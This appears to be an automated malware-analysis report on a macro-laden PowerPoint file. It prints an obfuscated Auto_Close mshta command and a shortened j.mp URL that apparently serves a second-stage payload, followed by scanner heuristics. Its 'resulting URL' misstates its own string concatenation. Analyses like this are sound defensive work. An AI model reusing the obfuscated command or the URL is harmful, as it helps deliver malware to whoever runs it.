MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The sample is a PowerPoint file containing VBA macros. The Auto_close macro triggers the execution of a Shell command. This command constructs a URL by concatenating strings: "m" + "s" + "h" + "ta http://%20%20@j.mp/dojifsdddddttyfdspfpmidfkdvko", resulting in the full URL "mshhttp://%20%20@j.mp/dojifsdddddttyfdspfpmidfkdvko". This URL is likely used to download and execute a second-stage payload.

Heuristics 5

  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://%20%20@j.mp/dojifsdddddttyfdspfpmidfkdvko
